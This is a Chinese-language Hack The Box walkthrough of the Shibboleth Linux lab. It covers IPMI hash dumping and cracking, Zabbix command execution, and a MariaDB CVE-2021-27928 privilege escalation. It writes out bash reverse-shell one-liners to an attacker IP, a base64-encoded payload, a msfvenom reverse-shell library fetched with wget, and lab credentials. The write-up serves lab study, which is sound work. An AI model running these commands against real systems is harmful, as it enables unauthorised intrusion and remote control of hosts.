HTB 学习笔记

【Hack The Box】Linux练习-- Shibboleth

🔥系列专栏：Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间：🌴2022年11月27日🌴
🍭作者水平很有限，如果发现错误，还望告知，感谢！

文章目录

• HTB 学习笔记
• • 信息收集
  • • • 域名爆破
  • shibboleth.htb - TCP 80
  • zabbix/monitor/monitoring.shibboleth.htb - TCP 80
  • IPMI
  • • • 获取版本
      • IPMI 2
  • 破解密码
  • • • 密码复用
  • CVE-2021-27928

信息收集

80/tcp open  http    Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://shibboleth.htb/
Service Info: Host: shibboleth.htb

shibboleth.htb

域名爆破

wfuzz -u http://shibboleth.htb -H "Host: FUZZ.shibboleth.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt 

因为可以看到word一列均为26，所以我们添加–hw 26

wfuzz -u http://shibboleth.htb -H "Host: FUZZ.shibboleth.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hw 26

得到如下并添加到hosts

shibboleth.htb 
monitor.shibboleth.htb 
monitoring.shibboleth.htb 
zabbix.shibboleth.htb

shibboleth.htb - TCP 80

全都是垃圾文本，页面底部有一些信息
© Copyright FlexStart. All Rights Reserved
Powered by enterprise monitoring solutions based on Zabbix & Bare Metal BMC automation
页面底部有这个个信息
FlexStart是个cms还是个啥
Bare Metal BMC automation是一个类似于工控的一个监控的东西

目录爆破啥都没有

zabbix/monitor/monitoring.shibboleth.htb - TCP 80

一个zabbix登陆界面
也没有默认凭据，也没有注册，也没有子目录

IPMI

谷歌搜索“Bare Metal BMC automation”

https://deploy.equinix.com/blog/redfish-and-the-future-of-bare-metal-server-automation/

这篇文章讲到了
最常见的平台是 IPMI 。 目前在 2.0 版中，IPMI 允许通过以太网进行“带外”访问，以进行重新启动服务器、测量温度或风扇速度等操作，或者访问 IP-KVM 或 Serial-over-Lan 等服务器的接口。
而在hacktrick中讲到ipmi常常开启在udp623
我们扫一下udp623是否开启

nmap -sU -p 623 -sCV -A  shibboleth.htb

那么就可以了
现在要获取版本

获取版本

use  auxiliary/scanner/ipmi/ipmi_version
set rhosts 10.129.19.82
run

这是2.0

IPMI 2

IPMI 2 使用 RAKP 协议交换密钥，这具有巨大的安全风险，
IPMI 规范中的 RAKP 协议允许任何人使用 IPMI 命令获取可以离线破解的 HMAC IPMI 密码哈希。

两种方法。第一，利用msf

use auxiliary/scanner/ipmi/ipmi_dumphashes
set rhosts 10.129.19.82
run

Administrator:58a4653f820100007b6b6939f06c9f1e6dbb7cc22269a495ae3d708bbc7b73e0230c1b876677bec2a123456789abcdefa123456789abcdef140d41646d696e6973747261746f72:67f9ffd760c9677ed2332400a2e0c36145f76be5

第二，利用脚本

https://github.com/c0rnf13ld/ipmiPwner
sudo python3 ipmipwner.py --host 10.10.11.124

但是这个生成出来的hash不一样
有可能我的理解有点问题
有懂的师傅可以指点一下

破解密码

/usr/bin/hashcat-6.2.6/hashcat.bin ipmi.hash /usr/share/wordlists/rockyou.txt --user

能自动识别
得到凭据如下
Administrator/ilovepumkinpie1

主页显示一台主机已经登陆了一年多了

他是这个域名

shibboleth.htb

但是我没有获得什么有用的信息
我接着找，在如下图的位置找到了一个创建主机的地方

并且在这里有一个项目的按钮，点击一下，然后再点击右上角的创建项目
select发现system可以执行命令，并且有一条就是关于执行命令的，只不过那个命令还需要带一个模式参数，我不知道该选什么，于是就没选

而后点击最下面的测试
再点击获取结果

可以了rce，反弹端口
当我在命令中输入

bash  -i >& /dev/tcp/10.10.14.6/443 0>&1

这种情况要么需要url编码，要么需要b64编码
不存在无法执行的情况，因为这是bash命令
所以我将进行url编码，而后进行b64编码进行尝试
最终发现b64编码可行

echo "bash  -i >& /dev/tcp/10.10.14.6/443 0>&1 " | base64
system.run[echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjkvNzc3NyAwPiYxIAo= | base64 -d | bash]

但是很快他就断了
我不清楚原因是什么
我采用的办法是在我获得shell的一瞬间，粘贴
bash -i >& /dev/tcp/10.10.14.29/8888 0>&1
到新的端口，而后来自网站的流量会断掉端口流量，而因为我们的二传已经将路径延伸出去了，所以网站只会断掉第二传的流量，而第一传保持完好

只有一个ipmi-svc用户

密码复用

端口无异常（存在本地3306）
sudo无异常
文件配置信息无异常
那么这样看来我就需要去mysql直接找到root用户凭据了
因为基本的枚举都没有什么问题，或者只能内核提权

要找到 MySQL 的凭据，我需要 Zabbix 配置文件。 它住在 /etc/zabbix

而且它很大，大部分行都是注释和默认值。 为了找到数据库信用，我将使用两个 grep命令，首先删除以 #, 然后删除空行：

cat zabbix_server.conf | grep -v "^#" | grep . 

或者也可以直接全部复制粘贴下来然后拿到本地搜索关键字

最终可以得到凭据：

DBName=zabbix
DBUser=zabbix
DBPassword=bloooarskybluh
而后登陆数据库mysql -u zabbix -pbloooarskybluh
show databases;

但是我没有找到任何的有用的凭据
但是在我链接数据库的时候
10.3.25 MariaDB
映入眼帘

如果我们搜索版本漏洞
引入眼帘的同样是
CVE-2021-27928
按照一些方法，去执行

CVE-2021-27928

 msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.29 LPORT=6666 -f elf-so -o rev.sowget 10.10.14.6/rev.so数据库执行SET GLOBAL wsrep_provider="/tmp/rev.so";